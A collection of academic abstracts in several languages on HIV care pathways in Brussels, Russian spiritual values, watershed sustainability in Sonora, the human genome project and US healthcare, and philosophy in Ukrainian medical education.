permet, d'une part, un séquençage du déroulement de la vie avec le VIH puis, d'autre part, l'identification des modes d'action des personnes séropositives dans deux séquences de la vie avec le VIH : l'installation dans le diagnostic et l'aménagement de la vie dans la dégradation effective ou potentielle de la santé. Ces modes d'action révèlent les caractéristiques de l'offre urbaine de soins sur lesquelles les personnes séropositives s'appuient pour se soigner. Enfin, la thèse propose une typologie des formes de « motilité dans les soins », soit la capacité des personnes à circuler dans l'offre urbaine de soins. L'application du concept de motilité (Vincent Kaufmann) à une activité spécifique ouvre la voie à d'autres utilisations pour l'analyse de parcours individuels dans des domaines qui requièrent l'organisation de recours à différents services. ; (Faculté de sciences économiques, sociales et politiques) -- FUSL, 2015

В статье рассматриваются вопросы обновления базовых духовных ценностей российского общества в условиях развертывания всемирно-исторического процесса глобализации. Автор осуществляет критический анализ причин провала реформ 90-х гг. и их последствий. Показано, что «чикагские мальчики» и прозападно ориентированные представители российской офшорной аристократии предприняли максимальные усилия для подрыва идей и чувств патриотизма, уважительных взаимоотношений между поколениями в российском обществе. В результате были девальвированы многие социально-нравственные ценности, а внедряемые новые, асоциальные, отторгались основной массой граждан, возник ценностный вакуум, источник нестабильности общества, формирования коррупции и криминализации, образования маргинального дна. Автор подчеркивает необходимость формирования системы гуманистических ценностей патриотической идеологии, социального идеала, национальной идеи как ядра идентичности россиян. Предложена формулировка национальной идеи: единое Отечество, одна судьба, благосостояние для всех. Национальная идея направлена на социальную и духовную консолидацию россиян, она мобилизует граждан на воплощение в жизнь справедливого проекта общества, вселяет оптимистические надежды на достойное будущее. В статье обосновывается, что для утверждения социально значимых патриотических ценностей важно использовать не только героические и трагические события исторического прошлого России. Значительную позитивную роль призвана сыграть оптимистическая модель (образ) новой России как справедливого, уважаемого в мире государства, которым граждане гордятся, считают своим домом и готовы планировать жизнь только в нем на долгую перспективу. В условиях глобализации большое значение приобретают проблемы демографической безопасности государства. С полным основанием автор уделяет внимание такой базовой ценности, как семья, необходимости возрождения ценностно-нравственного престижа семьи в российском обществе, семьецентризма, детоцентризма, системы наук о семье фамилистики. В заключение делается вывод, что обновление базовых духовных ценностей является фундаментальным социокультурным фактором формирования гражданского общества и демократического правового государства в России. ; The article considers the issues of updating the underlying spiritual values of the Russian society in the deployment of world-historical process of globalization. The author provides a critical analysis of the reasons for the failure of the reforms of the 90-ies and their consequences. It is shown that the "Chicago boys" and Pro-Western oriented representatives of the Russian offshore aristocracy have made maximum efforts to undermine the ideas and feelings of patriotism, respectful relationships between generations in the Russian society. As a result many social and moral values were devalued, and the introduction of the new, asocial ones was rejected by the bulk of the citizens, there arose a value vacuum, the source of instability of society, the formation of corruption and criminalization, creation of marginalized bottom. The author emphasizes the necessity of forming a system of humanistic values: patriotic ideology, social ideals, and the national idea as the core identity of the Russians. The wording of the national idea is proposed: one country, one destiny, prosperity for all. The national idea is aimed at social and spiritual consolidation of the Russians, it mobilizes citizens to implement a fair society project, gives an optimistic hope for a promising future. The article stresses that for approval of socially significant patriotic values it is important to use not only the heroic and tragic events of the historical past of Russia. A significant and positive role is to be played by an optimistic model (image) of the new Russia as a fair, worldrespected state, which the citizens are proud of, consider it their home and are ready to plan a life only in it for a long term. In the context of globalization there are important problems of demographic security of the state. With good reason the author pays attention to such core values as a family, the need to revive the values and moral prestige of the family in the Russian society, family-centrism, childcentrism, and the system of family sciences familistics. In conclusion, the article specifies that the updates to the underlying spiritual values are a fundamental socio-cultural factor in the formation of a civil society and a democratic state in Russia.

For several decades has identified challenged to meet the needs of the community and the need to make persist the resources that satisfy in time and space. Also is displayed such requirements increase with population growth and the production of these satisfiers is not produced in quantity and quality expected. Livestock activity in rangeland watershed of arid and semiarid areas has generated economic-productive benefits; however, unplanned management and exploitation of natural resources has caused erosion, depletion of water sources and in some cases irreversible desertification. Thus, poorly planned without conservation practices productive activities are a threat because of its effect on the degradation of natural resources. It is necessary to advance the design options management of natural resources to guarantee sustainable development in rural areas of the country and in the state of Sonora. Planning for the integrated management of natural resources in a basin, through holistic management determines the best combination of resources and activities that optimize a set of goals for the benefit of man. The objective was to design and establish a procedure for formulation, evaluation and selection: Indicators and sustainability criteria; on the basis of Sustainability Index Watershed (Chaves y Alipaz, 2007); and a range of options for managing natural resources subwatershed The Haciendita, Mátape, Sonora, for the integral management of it and achieve sustainability in their use. The methodology consists of: Description of the study area; inventory (natural, human and material), field verification and corroboration; updating information on the plans of infrastructure, soil science, geology, vegetation and physiography; analysis of information obtained from field (climate, infrastructure, vegetation, wildlife and socioeconomic survey); analysis of aridity indices, hydrology (quantity and quality), environmental, human life and political indicators (modified according to the conditions of subwatershed and availability of information), to obtain the Watershed Sustainability Index; Ecological Ordering of the Territory [.] ; Desde hace varias décadas se ha identificado el reto de satisfacer los requerimientos de la comunidad y la necesidad de hacer perdurar los recursos que los satisfagan en el tiempo y en el espacio. Además, se visualiza que tales necesidades aumentan con el crecimiento poblacional y que la producción de esos satisfactores no se produce en la cantidad y calidad esperada. La actividad ganadera en agostaderos de cuencas de zonas áridas y semiáridas ha generado beneficios económico-productivos; sin embargo, el manejo no planificado y la sobreexplotación de los recursos naturales han ocasionado erosión, agotamiento del agua y en algunos casos desertificación irreversible. Así, las actividades productivas mal planeadas y sin prácticas de conservación son una amenaza, por su efecto en la degradación de los recursos naturales. Se hace necesario avanzar en el diseño de opciones de manejo de los recursos naturales que garanticen el desarrollo sustentable en las zonas rurales del país y en el Estado de Sonora. La planeación para el manejo integral de los recursos naturales de una cuenca, a través del manejo holístico, determina la mejor combinación de recursos y actividades que optimicen un conjunto de metas para beneficio del hombre. El objetivo fue diseñar y establecer un procedimiento de formulación, evaluación y selección de: Los indicadores y criterios de sostenibilidad; con fundamento en el Índice de Sostenibilidad de Cuencas Hidrográficas (Chaves y Alipaz, 2007); y una gama de opciones de manejo de los recursos naturales de la Subcuenca La Haciendita, Mátape, Sonora, para el manejo integral de la misma y lograr la sostenibilidad en su uso. La metodología consiste en: Descripción del área de estudio; Inventario de recursos (naturales, humanos y materiales), verificación y corroboración de campo; actualización de la información en los planos de infraestructura, edafología, geología, vegetación y fisiografía; análisis de la Información obtenida de campo (clima, infraestructura, vegetación, fauna y encuesta socioeconómica); análisis de los Índices de Aridez, indicadores de hidrología (cantidad y calidad), ambiental, de vida humana y políticas (modificados de acuerdo a las condiciones de la Subcuenca y a la disponibilidad de información), para obtener el Índice de Sostenibilidad de Cuencas; Ordenamiento Ecológico del Territorio [.]

Building on the findings of the sociology of chronic illness and of urban sociology, the doctoral thesis calls for the study of "urban health pathways" of people living with HIV/Aids. Such pathways refer to the combination of recourses, both pursued and not, to health-care services within the urban environment and in relation to chronic illness. These pathways consider the situation of dependence on specialised medical care faced by chronically ill patients. Based on the study of mobility of the chronically ill, the doctoral thesis highlights the organisational work such patients are inevitably faced with for accessing health-care services, transitioning between them, and coordinating multiple recourses as integral activities of their daily lives. Firstly, the thesis analyses in a socio-historical perspective the HIV/Aids care services in Brussels (Belgium). The case of the city of Rouen (France) brings a comparative counterpart to this analysis. The aim is to identify the mechanisms that rule the circulation of patients among health-care services: hospital-centred care, health-care integration, services diversity and spatial distribution of specialised services. Secondly, based on the study of illness narratives of people living with HIV, the thesis divides their lifespan into a series of sequences and identifies their modes of action within two of these sequences: 1) the settlement in a life with the HIV diagnosis and 2) the adjustment to the effective or potential worsening of one's health condition. These modes of action underline the urban characteristics on which people living with HIV rely to manage and improve and their health condition. Finally, the thesis offers a typology of 'health care motility', referring to one's capacity to resort to urban health care services and to transition between them. Using the concept of 'motility' (first designed by Vincent Kaufmann) for the analysis of a specific activity opens up new perspectives for the study of individual pathways in other domains requiring the organisation of one's recourse to a range of services. ; S'appuyant sur les avancées de la sociologie de la maladie chronique et de la sociologie urbaine, la thèse propose une sociologie des parcours urbains de soins de personnes vivant avec le VIH/sida. Ces parcours désignent l'enchaînement de recours et non-recours aux soins dans l'espace urbain et dans la durée de la maladie chronique. Ils s'opèrent dans un contexte de dépendance à la médecine spécialisée. À partir d'une étude de la mobilité des personnes atteintes, la thèse éclaire le travail organisationnel qu'elles fournissent nécessairement pour se mettre en situation d'accéder aux soins, coordonner leurs recours entre eux et articuler ces recours avec leurs autres activités de la vie courante. D'abord, une analyse socio-historique de la prise en charge du VIH/sida à Bruxelles, éclairée par un contrepoint comparatif avec le cas de Rouen, identifie les mécanismes qui font circuler les patients dans l'offre de soins : hospitalo-centrisme, niveau d'intégration des soins, diversité de l'offre et distribution spatiale des services spécialisés. Ensuite, l'étude de récits de vie recueillis auprès de personnes séropositives permet, d'une part, un séquençage du déroulement de la vie avec le VIH puis, d'autre part, l'identification des modes d'action des personnes séropositives dans deux séquences de la vie avec le VIH : l'installation dans le diagnostic et l'aménagement de la vie dans la dégradation effective ou potentielle de la santé. Ces modes d'action révèlent les caractéristiques de l'offre urbaine de soins sur lesquelles les personnes séropositives s'appuient pour se soigner. Enfin, la thèse propose une typologie des formes de « motilité dans les soins », soit la capacité des personnes à circuler dans l'offre urbaine de soins. L'application du concept de motilité (Vincent Kaufmann) à une activité spécifique ouvre la voie à d'autres utilisations pour l'analyse de parcours individuels dans des domaines qui requièrent l'organisation de recours à différents services. ; (Faculté de sciences économiques, sociales et politiques) -- FUSL, 2015

ABSTRACT - The major medical/scientific research project of the past two decades is the human genome project and its suggested clinical applications. The project can usefully be framed as a quest to cure disease, especially cancer, and even to defy mortality. The hero of this quest is the project leader, who currently is trying, almost desperately, to "translate" the science of the genome into public health practice (screening) and the practice of medicine, often termed tailored, precision or "personalized medicine." In America's dysfunctional and patchwork healthcare system, adding another layer of extremely expensive and (to date) marginally effective screening procedures and genetics-based cancer treatments is a hard sell. Nonetheless, framing the human genome project as a quest for added life can make it seem altogether normal, even natural, and can help rally the public to its support. A second, parallel quest is the public health-political quest for a system that guarantees universal access to healthcare for Americans. The ultimate success of this quest will depend not on any scientific or medical breakthrough, even a genetic one, but on political will. Creating and sustaining political support for universal healthcare access will require, I suggest, the deployment of stories of real Americans whose lives have been made much more miserable by the lack of access to decent healthcare. These two quests are converging in ways that may make them incompatible because of the extreme expense of personalized medicine, and, at least so far, its inability to add more than marginal benefit to the lives of most Americans. Nonetheless, until Americans are more comfortable accepting death, we will continue to fight our mortality with activities we frame as quests, making our dysfunctional healthcare system less and less able to respond to the health needs of the American public. ; RESUMO - O Projecto do Genoma Humano (PGH) (Human Genome Project), bem como as suas possíveis aplicações clínicas, constituem o maior projecto de investigação biomédica das últimas duas décadas. Este Projecto pode ser descrito como uma jornada em busca da cura para a doença (em termos gerais), para o cancro (em particular) e, em última análise, uma tentativa de desafiar a nossa própria mortalidade. O herói desta jornada é o líder do Projecto, que, actualmente tenta, quase desesperadamente, "traduzir" a ciência do genoma para a prática em saúde pública e em medicina, um esforço que é denominado global e genericamente como medicina personalizada. No contexto de um sistema de saúde disfuncional e incompleto como o Americano, é difícil persuadir os cidadãos que é útil adoptarem-se tratamentos e rastreios para o cancro baseados na genética, uma vez que estes são extremamente dispendiosos e apenas (pelo menos à data), marginalmente eficazes. Todavia, enquadrar o PGH como uma jornada em busca de mais tempo de vida pode conferir ao mesmo um cariz de normalidade (quase de naturalidade) que poderá ajudar a mobilizar o público em seu redor. Uma segunda e paralela jornada, esta simultaneamente política e de saúde pública, caracteriza-se pela procura de um sistema de saúde que garanta a todos os Americanos o acesso universal a cuidados de saúde. Ora, o sucesso último desta procura dependerá não de uma descoberta científica ou biomédica, mesmo que esta provenha da área da genética, mas da existência de vontade política. Mais, criar e manter apoio político para o acesso universal à saúde requererá, sugiro, o recurso às histórias de vida dos Americanos reais, que se tornaram tão mais miseráveis pela falta de acesso a cuidados de saúde decentes. Estas duas jornadas têm convergido de tal forma que, devido aos custos enormes da medicina personalizada e, pelo menos até hoje, da sua incapacidade de conferir mais do que benefícios marginais à vida da maioria dos Americanos, elas se tornam hoje quase incompatíveis. No entanto, até que a América se torne mais confortável perante a aceitação da morte, continuaremos a combater a nossa mortalidade com actividades que melhor se caracterizam como jornadas, ajudando a que o nosso sistema de saúde, já de si disfuncional, se torne cada vez menos capaz de responder às necessidades de saúde dos Americanos. ; info:eu-repo/semantics/publishedVersion

У статті обґрунтовано значення філософії у процесі світоглядного й професійного формування майбутніх лікарів. Розкрито важливі аспекти її взаємодії з медициною та доведено, що філософія є методологічним фундаментом медичного знання. Тому у процесі професійної підготовки студентів-медиків повинні бути знайдені нові підходи та важелі для формування у них позитивного ставлення до вивчення філософії, а також повинні змінитися існуючі стереотипи в суспільстві.В статье обосновано значение философии в процессе мировоззренческого и профессионального формирования будущих врачей. Раскрыто важные аспекты ее взаимодействия с медициной и доказано, что философия является методологическим фундаментом медицинского знания. Поэтому в процессе профессиональной подготовки студентов-медиков должны быть найдены новые подходы и рычаги для формирования у них положительного отношения к изучению философии, а также должны измениться существующие стереотипы в обществе.Recently in Ukrainian society a question of whether in fact there is a real need for compulsory study of some social and humanitarian subjects in high school has been widely discussed. Such disciplines include culturology, sociology, political science, philosophy, religious studies, and history of Ukraine. The philosophy remains the only comprehensive subject that students consider unnecessary in current educational environment. In higher medical education institutions students study philosophy as a fundamental humanitarian discipline to master the basics of the world-view culture and skills of abstract thinking, which correspond to current requirements and are necessary minimum for creative thinking, ability to critical analysis of ideas, views, opinions of independently thinking individual, a physician, citizen and scientist. For a long time the philosophy and medicine has existed as integral personoriented phenomena, intended for its adaptation to the surrounding world. In our opinion, the stereotype as for the fact that union of philosophy and medicine is quite clearly reveals itself only in the context of bioethics has been misinterpreted by a wide circle of scientists. It should be noted that philosophical knowledge is crucial for professional development of physicians not only while communicating with patients and for general expertise, but also for creating a modern synthetic knowledge of pathological process and disease in general. It is the philosophy that forms the ability to analyze and synthesize the facts, to model logically the specific situation and system thinking. It should be mentioned that process of humanization of medical knowledge, penetration of methodological principles, techniques and concepts of the Humanities into different fields of medicine is tending to be natural. Relationship of individual groups of concepts in medicine with humanitarian knowledge are different as for expressiveness and quality from indissoluble and close in psychiatry, medical psychology, neurology and epidemiology to quite intermediate in morphological and applied medical knowledge (anatomy, radiology, dentistry, etc.). Вісник проблем біології і медицини -2014 Вип. 2, Том 3 (109) 107 МЕДИЧНА ОСВІТА The philosophy teaches a physician to treat all phenomena and processes in their development, continuous change and indissoluble connection with specific conditions. All this contribute to the formation and development of the physician's culture of thinking. Disregard of provisions of general relation and correlation of phenomena and processes leads to one-sided reassessment of the value of macroand microorganism in the development of the disease, diagnostic clinical and laboratory research, the role of the individual systems of regulation of the organism's vital activity, etc. Due to philosophical categories and principles, physicians investigate the origin of disease and its clinical course, make the diagnosis, find objective processes, occurring in the life activity of the human body, etc. Mastering the basics of philosophical knowledge helps student to become professional expert with the ability to think widely and deeply and act independently. The philosophy promotes creative thinking, helps in the study of clinical disciplines, serves as the basis for perception of new ideas, and uses the acquired knowledge to solve the specific tasks. Consequently, new approaches and mechanisms for forming a positive attitude to the study of philosophy, as well as the need to change existing stereotypes in the society should be found in the process of training of medical students.